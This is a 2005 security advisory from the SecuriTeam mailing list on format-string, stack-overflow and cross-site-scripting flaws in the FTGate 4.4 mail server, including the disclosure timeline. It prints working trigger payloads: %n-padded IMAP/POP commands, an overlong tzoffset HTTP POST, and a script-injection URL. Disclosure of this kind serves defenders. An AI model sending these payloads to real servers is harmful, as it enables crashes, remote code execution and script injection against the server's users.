[NT] FTGate Multiple Vulnerabilities (LIST, AUTHENTICATE, USER, PASS, TOP, tzoffset)

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  FTGate Multiple Vulnerabilities (LIST, AUTHENTICATE, USER, PASS, TOP, 
tzoffset)
------------------------------------------------------------------------


SUMMARY

 <http://www.ftgate.com/> FTGate4 is "a powerful Windows(TM) communication 
suite that combines exceptional mail handling facilities with 
comprehensive Groupware functionality. Its security and collaboration 
features were developed in conjunction with leading ISP's and define a new 
era in mail server performance".

FTGate is vulnerable to multiple vulnerabilities that can be triggered by 
sending special IMAP requests or by sending malformed HTTP requests to the 
server. A remote attacker could issue the vulnerable command followed by a 
malicious code to execute arbitrary code.

DETAILS

Vulnerable Systems:
 * FTGate versuib 4.4 (Build 4.4.000 Oct 26 2005)

Format String 1:
IMAP 01 LIST (%25n times 1024) *
IMAP 02 AUTHENTICATE (%25n times 1024)

Format String 2:
USER (%n times 20)
PASS (%n times 20)
TOP (%n times 20) 1

Stack Buffer Overflow:
The following request that overflows the variable tzoffset, can be used to 
trigger the stack buffer overflow:
POST /index.fts HTTP/1.1
Host: 127.0.0.1:8089
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; redsand)
Accept: text/html
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: SessId=9b5cdbb1c3e1a06da4bf0789b25fe38a; modified=null; 
webadmin.remember=null; webadmin.username=null
Referer: http://127.0.0.1:8089/
Content-Type: application/x-www-form-urlencoded
Content-Length: 346
config=1&param1=&href=&tzoffset=11111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111&admin=administrator%40
example.com&password=test12345

Cross Site Scripting:
http://127.0.0.1:8089/index.fts?href=";><script>alert('XSS-magic-string');</script>

POST /domains/index.fts
href=%2Fdomains%2Findex.fts&config=1003& command=0&start=0&param1=Domain 
List%2C%2Fdomains%2Findex.fts[STRING INJECTION 
HERE]&param2=&find=*&elements=10 &aliases=1&data0=19

POST /config/licence.fts 
href=%2Fconfig%2Flicence.fts&config=1003&command=0 
&param1=Routing%2C%2Ffilters%2Froutes.fts[STRING INJECTION 
HERE]&param2=&reg=

POST /config/systemacl.fts 
href=%2Fconfig%2Fsystemacl.fts&config=1003&command=0 
&id=0&param1=System+Timers%2C%2Fschedules%2
Findex.fts[STRING INJECTIONHERE]&redirect=&data1=32 &address=

Disclosure Timeline:
 * 2005-11-25 - Original Advisory
 * 2005-12-01 - Notified Vendor
 * 2005-12-20 - No response from vendor, disclosing full information.


ADDITIONAL INFORMATION

The information has been provided by  
<mailto:security-advisories@acs-inc.com> Tim Shelton.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.